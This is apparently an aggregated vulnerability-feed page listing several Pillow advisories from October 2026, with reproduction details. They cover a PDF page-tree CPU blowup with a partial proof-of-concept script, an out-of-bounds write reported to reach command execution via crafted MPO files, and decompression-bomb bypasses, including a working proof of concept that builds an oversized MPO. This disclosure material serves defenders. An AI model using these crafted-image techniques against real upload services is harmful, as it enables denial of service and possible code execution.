GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-96640: https://nvd.nist.gov/vuln/detail/CVE-2026-96640
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96640&date=2026-10-25
### Summary
Pillow's documented PDF append path can spend disproportionate CPU time on a compact malformed PDF page tree.

An attacker who can supply an existing PDF to an application that appends an image with `Image.save(..., format="PDF", append=True)` can provide a malformed `/Pages` tree where each level repeats the same child `/Pages` reference in `/Kids`. Pillow treats the graph as a tree and expands each repeated reference in `PdfParser.linearize_page_tree()` without tracking visited or duplicate indirect references.

In the bounded proof below, a `1410`-byte PDF expands to `8192` page references from one distinct page object and takes about `9.6` seconds through the append path. A comparable linear control with the same depth stays at one page reference and completes in about `0.02` seconds.

This is in scope for Pillow's security policy because it is reproducible in `main`, affects the latest public release tested (`12.3.0`), and is not just an unexpected Python exception. The vulnerable operation accepts attacker-controlled PDF bytes through Pillow's PDF parser and causes deterministic resource consumption before normal completion.

### Details

#### Affected versions

- Package: `Pillow`
- Ecosystem: `pip` / PyPI
- Affected component: `src/PIL/PdfParser.py` page-tree traversal reached from `src/PIL/PdfImagePlugin.py` PDF append handling
- Runtime-tested affected release: `12.3.0`
- Runtime-tested affected development version: `13.0.0.dev0`
- Tested commit: `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`
- Current source artifact hash: `sha256(git archive --format=tar HEAD) = 2ccefca23d432456765be8d3c34564c65ba016b0c9da1e44ca389762f7eda054`
- Release `12.3.0` commit: `bb1d8e8ab8d29048624d96e3ee53cecf7c13d13d`
- Release `12.3.0` source artifact hash: `sha256(git archive --format=tar 12.3.0) = 94bed33fd20123938dbc0153d295250bb4e3c09251b6d4a34f7595e25d409c81`
- Source-level affected: `5.1.0`, `12.2.0`, `12.3.0`, and `HEAD`
- Likely affected range: `>= 5.1.0`
- Patched versions: none known

Evidence fact strings:

- Runtime-tested affected: 12.3.0
- Runtime-tested affected: 13.0.0.dev0 at b39b9649312fbc381060e8c7c7f9f0de4cc63daa
- Source-level affected: 5.1.0
- Source-level affected: 12.2.0
- Source-level affected: HEAD
- Likely affected range: >= 5.1.0, no fixed version known
- Pre-boundary note: 5.0.0 has PdfImagePlugin.py but no src/PIL/PdfParser.py

`5.0.0` contains `src/PIL/PdfImagePlugin.py` but does not contain `src/PIL/PdfParser.py`. `PdfParser.py` was introduced by `6207b44ab1ff4a91d8ddc7579619876d0bb191a4` (`2018-01-18 issue #2959: support appending to existing PDFs`), which shipped in `5.1.0`.

#### Technical details

The reachable path is:

1. A service or application receives an attacker-influenced existing PDF and appends an image using Pillow's public PDF save path:

 ```python
 Image.new("L", (1, 1), 0).save(existing_pdf_file, format="PDF", append=True)
 ```

2. `src/PIL/PdfImagePlugin.py` routes `append=True` to `PdfParser`:

 ```python
 is_appending = im.encoderinfo.get("append", False)
 filename_str = filename.decode() if isinstance(filename, bytes) else filename
 if is_appending:
 existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="r+b")
 else:
 existing_pdf = PdfParser.PdfParser(f=fp, filename=filename_str, mode="w+b")
 ```

3. `src/PIL/PdfParser.py` parses the existing PDF and linearizes the page tree:

 ```python
 self.page_tree_root = self.read_indirect(self.pages_ref)
 self.pages = self.linearize_page_tree(self.page_tree_root)
 self.orig_pages = self.pages[:]
 ```

4. `linearize_page_tree()` recursively follows every `/Kids` entry and extends the page list. It does not track page-tree node identity, duplicate references, or active traversal references:

 ```python
 def linearize_page_tree(
 self, node: PdfDict | None = None
 ) -> list[IndirectReference]:
 page_node = node if node is not None else self.page_tree_root
 check_format_condition(
 page_node[b"Type"] == b"Pages", "/Type of page tree node is not /Pages"
 )
 pages = []
 for kid in page_node[b"Kids"]:
 kid_object = self.read_indirect(kid)
 if kid_object[b"Type"] == b"Page":
 pages.append(kid)
 else:
 pages.extend(self.linearize_page_tree(node=kid_object))
 return pages
 ```

5. During append, `rewrite_pages()` then iterates the expanded `orig_pages` list and scans/replaces entries in `self.pages`, adding more cost to the already expanded duplicate-reference list.

The missing invariant is:

```text
The PDF page tree should be treated as an acyclic tree of unique indirect references before Pillow builds pages/orig_pages or rewrites pages.
```

The proof intentionally uses a malformed PDF page-tree DAG: each `/Pages` node repeats the same next `/Pages` child reference twice. Pillow accepts this graph and expands it as if the repeated reference represented distinct subtrees.

### PoC

Environment used for validation:

- OS/runtime: Linux, Python `3.13.11`
- Current tested build: Pillow `13.0.0.dev0`, commit `b39b9649312fbc381060e8c7c7f9f0de4cc63daa`
- Latest release tested: Pillow `12.3.0`
- The proof uses only synthetic in-memory PDFs and does not contact the network.

Save this as `poc_pillow_pdf_page_tree_dag.py`:

```python
#!/usr/bin/env python3
from __future__ import annotations

import io
import json
import sys
import time

from PIL import Image, PdfParser
import PIL

def make_page_tree_pdf(depth: int, fanout: int) -> bytes:
 if fanout not in (1, 2):
 raise ValueError("fanout must be 1 or 2")

 objects: list[bytes] = [b" >"]
 for object_id in range(2, depth + 3):
 next_id = object_id + 1
 kids = b" ".join(f"{next_id} 0 R".encode("ascii") for _ in range(fanout))
 parent = b"" if object_id == 2 else f" /Parent {object_id - 1} 0 R".encode()
 objects.append(b" >")
 objects.append(f" >".encode("ascii"))

 result = bytearray(b"%PDF-1.4\n")
 offsets = [0]
 for object_id, value in enumerate(objects, start=1):
 offsets.append(len(result))
 result.extend(f"{object_id} 0 obj\n".encode("ascii")

Affected package ranges reported by GitHub:
Pillow: >= 5.1.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow multi-frame loaders can reuse stale native image storage after mode transitions
https://kevwire.com/record/CVE-2026-96639
Pillow multi-frame loaders can reuse stale native image storage after mode transitions (Oct 22, 2026).
If frame 0 allocates storage for a narrow mode such as `L`, and a later frame of the same dimensions switches to a wider mode such as `RGB` or `CMYK`, Pillow may decode wider pixels into the stale narrow native buffer. This causes native
out-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented `ImageSequence.Iterator` + `frame.load()` path.

Several multi-frame `seek()` / `_open()` paths can update `self._mode` and decoder tiles for a later frame without invalidating `_im`. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode.
CVSS 9.8 (version 3.1; evidence as of Oct 22, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96639).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96639&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-v9pv-5gc8-w2m6: https://github.com/advisories/GHSA-v9pv-5gc8-w2m6
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-96639: https://nvd.nist.gov/vuln/detail/CVE-2026-96639
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96639&date=2026-10-25
### Summary
Pillow multi-frame image loaders can retain native `ImagingCore` storage allocated for one frame while changing the Python-side image `mode` and decoder tiles for a later frame.

If frame 0 allocates storage for a narrow mode such as `L`, and a later frame of the same dimensions switches to a wider mode such as `RGB` or `CMYK`, Pillow may decode wider pixels into the stale narrow native buffer. This causes native
out-of-bounds writes and process crashes. In the MPO/JPEG path, I also demonstrated command execution in matching Python/Pillow runtime profiles through Pillow's documented `ImageSequence.Iterator` + `frame.load()` path.

### Details
The root cause appears to be that `ImageFile.load_prepare()` only reallocates native storage when `_im is None`. It does not verify that the retained native `ImagingCore` storage still matches `self.mode` and `self.size`.

Several multi-frame `seek()` / `_open()` paths can update `self._mode` and decoder tiles for a later frame without invalidating `_im`. The decoder then writes or reads according to the new frame mode while the native storage still belongs to the old frame mode.

Verified affected surfaces:

1. **PSD**

 `PsdImageFile.seek()` can switch from grayscale/native `L` storage to RGB layer decoding while retaining `_im`. This produces attacker-controlled native out-of-bounds writes and reliable crashes.

2. **MPO/JPEG**

 A crafted two-frame MPO can make frame 0 allocate `L` storage, then make frame 1 decode `CMYK` / `RGB` data into the retained `L` storage. The documented `ImageSequence.Iterator` path reaches this with `frame.load()`.
 Verified native memory corruption, crash, over-read behavior, and scoped harmless-marker command execution on Pillow 12.3.0.

3. **DCX**

 `DcxImageFile.seek()` calls `PcxImageFile._open()`, which changes mode/tile state without a native-storage mode guard. A crafted DCX with `L` then `RGB` PCX frames produces retained-storage mismatch and crash.

4. **MIC**

 MIC can call `TiffImageFile._open()` directly and bypass TIFF's normal guarded `seek()` behavior. With a `NextIFD`-based reachable frame transition, this produces retained-storage mismatch and crash.

TIFF appears to be a useful positive control because its `seek()` path checks
both size and mode before reusing storage.

### Impact
- process crash / denial of service,
- native out-of-bounds write,
- native over-read in the MPO path.

Stronger proven impact:

- command execution in matching Python/Pillow runtime profiles through the MPO/JPEG path.

Server-side deployment impact:

- Create a local vulnerable web upload service that accepts an unauthenticated MPO upload and automatically processes it with Pillow.
- The attack is one HTTP request and requires no user interaction after upload.
- The fixed harmless command-output marker succeeded 10/10 times.
- The `_im=None` control was clean 10/10 times.

## Reproduction Evidence

Tested version:

```text
Pillow 12.3.0
```

MPO terminal proof environments:

```text
Python 3.12.3 + Pillow 12.3.0, clean PyPI environment:
marker 10/10, control 0/10

Python 3.13.14 + Pillow 12.3.0, prepared profile:
marker 10/10, control 0/10
```

Server-side web-upload proof:

```text
control 1..10: MARKER_MISSING
control_summary ok 0 missing 10 /10

vulnerable 1..10: MARKER_OK marker_output 
vulnerable_summary ok 10 missing 0 /10
```

The terminal proof uses a fixed harmless marker command only. It does not use a reverse shell, persistence, data exfiltration, or arbitrary attacker-selected commands.

I can provide the following private artifacts to maintainers:

- minimal crash fixtures for PSD, MPO, DCX, and MIC,
- non-weaponized MPO marker PoC,
- local vulnerable web upload demo,
- gdb/GEF geometry receipts,
- control-run logs,
- proposed regression-test shape.

## Minimal Reproduction Shape

For the MPO path, the vulnerable consumer shape is:

```python
from io import BytesIO
from PIL import Image, ImageSequence

source = BytesIO(open(path, "rb").read())
image = Image.open(source)
iterator = ImageSequence.Iterator(image)
next(iterator).load()
next(iterator).load()
```

The crafted image shape is:

```text
frame 0: mode L, dimensions W x H
frame 1: same W x H, wider mode such as CMYK
```

Frame 0 allocates native `L` storage. Frame 1 changes the logical mode and decoder state but can reuse the old native storage. The frame 1 decoder writes using the wider mode into the narrow storage.

## Suggested Fix Direction

Before reusing native `ImagingCore` storage, Pillow should verify that the retained storage is compatible with the current logical image mode and size.

A central guard in `ImageFile.load_prepare()` could compare native storage mode/size against `self.mode` / `self.size` and allocate fresh storage when they differ. Alternatively, every mode-changing `seek()` / `_open()` path should explicitly invalidate `_im` before decoding.

Caution: TIFF has specialized tile-size behavior and already has a mode/size guard, so a central fix should avoid regressing TIFF tile-buffer handling.

## Credit

```text
Rotem Kama
```

## Methodology Note

AI-assisted analysis was used for discovery and verification support. Claims in this report are limited to the local artifacts, controls, and command outputs described above.

Affected package ranges reported by GitHub:
Pillow: >= 11.0.0, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: BMP RLE decoder memory-amplification DoS via unbounded delta escape / absolute mode
https://kevwire.com/record/CVE-2026-96638
Pillow: BMP RLE decoder memory-amplification DoS via unbounded delta escape / absolute mode (Oct 22, 2026).
Because a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny.

Attached: pillow_poc_bmp_rle_dos.py
CVSS 6.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-24rc-8hj2-v98c).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96638&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-24rc-8hj2-v98c: https://github.com/advisories/GHSA-24rc-8hj2-v98c
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96638&date=2026-10-25
## Summary
BmpRleDecoder can be forced to allocate gigabytes of memory from a kilobyte-sized crafted BMP file via unbounded growth in the delta escape and absolute mode branches.

## Affected versions
All versions up to and including current HEAD (v13.0.0.dev0, commit e7a7ea84)

## Root cause
BmpRleDecoder.decode() (BmpImagePlugin.py:327-395) builds a Python bytearray `data` with dest_length = xsize*ysize, looping `while len(data) up to ~255*xsize bytes in ONE iteration.
- absolute mode (line 385): data += bytes_read (up to 255).

Because a single delta can push len(data) to ~256 * (row size), a tiny RLE stream combined with a large-but-legal xsize (xsize*ysize just under MAX_IMAGE_PIXELS, ~89M) yields a multi-GB `data` bytearray (then copied again by bytes(data) and set_as_raw). No heap OOB (bytearray/set_as_raw are bounds-safe), but a severe memory-amplification DoS: the attacker file stays tiny.

## Reproduction
Python 3.13, Pillow HEAD e7a7ea84

Attached: pillow_poc_bmp_rle_dos.py

A 1084-byte BMP (BI_RLE8, width=3,000,000, height=1 -> 3M px, passes bomb check) with one delta escape (00 02 00 150) produces ~429 MB `data`; measured peak RSS 911 MB. Scaling width toward the bomb limit and up=255 produces tens of GB from a ~1 KB file.

## Suggested fix
Cap growth at dest_length in the delta and absolute branches, e.g. clamp the delta fill to (dest_length - len(data)) and stop appending once len(data) >= dest_length; reject deltas that would move the cursor beyond the image, matching the existing per-row clamp at line 341-343.

Credit: Yazan Balawneh - CyStack Security Team (GitHub: sonicnew)

[pillow_poc_bmp_rle_dos.py](https://github.com/user-attachments/files/30244974/pillow_poc_bmp_rle_dos.py)

Affected package ranges reported by GitHub:
pillow: >= 9.1.0, < 13.0.0
Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS
https://kevwire.com/record/CVE-2026-96637
Pillow: Decompression bomb check bypass in SpiderImagePlugin.seek() leads to unbounded allocation DoS (Oct 22, 2026).
Real-world impact: a large frame-1 nsam/nrow (e.g. 40000x40000) causes im.load() to allocate ~6.4 GB (mode F) with the bomb check fully bypassed, from a file under 1 KB.

Credit: Yazan Balawneh - CyStack Security Team 
[pillow_poc_spider_bomb.py](https://github.com/user-attachments/files/30244916/pillow_poc_spider_bomb.py)
CVSS 7.1 (version 4.0; evidence as of Oct 23, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-96637).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96637&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-g842-9rc4-69pw: https://github.com/advisories/GHSA-g842-9rc4-69pw
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
NVD CVE-2026-96637: https://nvd.nist.gov/vuln/detail/CVE-2026-96637
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96637&date=2026-10-25
## Summary
SpiderImagePlugin's seek() bypasses the decompression bomb check, allowing a tiny ( DecompressionBombWarning fires correctly.
- BYPASS: Image.open(stack, frame0=1x1) passes; im.seek(1) sets size (100,100) with NO DecompressionBombWarning/Error -> the check is bypassed.

Real-world impact: a large frame-1 nsam/nrow (e.g. 40000x40000) causes im.load() to allocate ~6.4 GB (mode F) with the bomb check fully bypassed, from a file under 1 KB.

## Suggested fix
Call Image._decompression_bomb_check(self.size) at the end of SpiderImageFile._open() (or in seek() after _open()), mirroring GifImagePlugin / TiffImagePlugin. Optionally validate nsam/nrow are positive and sane in _open().

Credit: Yazan Balawneh - CyStack Security Team 
[pillow_poc_spider_bomb.py](https://github.com/user-attachments/files/30244916/pillow_poc_spider_bomb.py)

Affected package ranges reported by GitHub:
pillow: < 13.0.0
Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek)
https://kevwire.com/record/CVE-2026-96636
Pillow: Decompression-bomb protection bypass via multi-frame seek() in MPO and DCX (MpoImageFile.seek / DcxImageFile.seek) (Oct 22, 2026).
Same class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).

- **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame's JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`.
- **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page's PCX header), with no check.
CVSS 6.5 (version 3.1; evidence as of Oct 22, 2026; https://github.com/advisories/GHSA-p8hx-v2p6-rp84).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-96636&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-p8hx-v2p6-rp84: https://github.com/advisories/GHSA-p8hx-v2p6-rp84
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0OToxMlrOAAf0LQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NzoxN1rOAAf0Kg%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTozNlrOAAf0Jw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0NTowNVrOAAf0JQ%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0Mzo0NVrOAAf0Iw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QyMDo0MzozMVrOAAf0Ig%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozNTowMVrOAAZRcw%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-96636&date=2026-10-25
### Summary
Pillow's decompression-bomb protection (`Image._decompression_bomb_check`, gated by `Image.MAX_IMAGE_PIXELS`) is enforced only on the **first frame**, inside `Image.open()`. For multi-frame formats, `seek()` re-parses the target frame's header and resets `self._size`. `GifImagePlugin` and `TiffImagePlugin` re-run the bomb check on `seek()`, but **`MpoImageFile.seek()` and `DcxImageFile.seek()` do not.** A crafted MPO or DCX whose first frame is tiny (passing the check) but whose later frame declares enormous dimensions therefore bypasses the protection: loading that frame decodes an over-limit image and commits large amounts of memory — a denial of service (memory exhaustion / OOM).

Same class as the recently assigned CVE-2026-55379 (BdfFontFile), CVE-2026-55380 (GdImageFile) and CVE-2026-40192 (FITS GZIP).

### Details
`Image.open()` → `_open_core()` runs `_decompression_bomb_check(im.size)` once, on the frame present at open time. Both vulnerable `seek()` methods re-parse a new frame and set a new `self._size` without re-checking:

- **`PIL/MpoImagePlugin.py`, `MpoImageFile.seek()`**: calls `JpegImagePlugin.JpegImageFile._open(self)` (which sets `self._size` from the frame's JPEG SOF) and rebuilds `self.tile`, with no `Image._decompression_bomb_check(self.size)`.
- **`PIL/DcxImagePlugin.py`, `DcxImageFile.seek()`**: calls `PcxImageFile._open(self)` (which sets `self._size` from the page's PCX header), with no check.

Confirmed present in **12.3.0** (latest release) and on **`main`** (13.0.0.dev0). Compare `GifImagePlugin._seek` and `TiffImagePlugin`, which call `_decompression_bomb_check` correctly on seek.

### PoC
Self-contained; the victim uses **default** `MAX_IMAGE_PIXELS`:

```python
import io
from PIL import Image

# attacker builds the file (guard disabled only to CREATE the oversized frame)
Image.MAX_IMAGE_PIXELS = None
small = Image.new("RGB", (8, 8))
big = Image.new("RGB", (14000, 14000), (120, 60, 30)) # 196,000,000 px > error threshold
buf = io.BytesIO()
small.save(buf, format="MPO", save_all=True, append_images=[big])
data = buf.getvalue() # ~3 MB
Image.MAX_IMAGE_PIXELS = int(1024 * 1024 * 1024 // 4 // 3) # restore default

# victim (default limits)
im = Image.open(io.BytesIO(data)) # frame 0 (8x8) passes the bomb check
im.seek(1) # frame 1 (14000x14000) -> NOT re-checked <-- bug
im.load() # decodes the over-limit image, commits memory
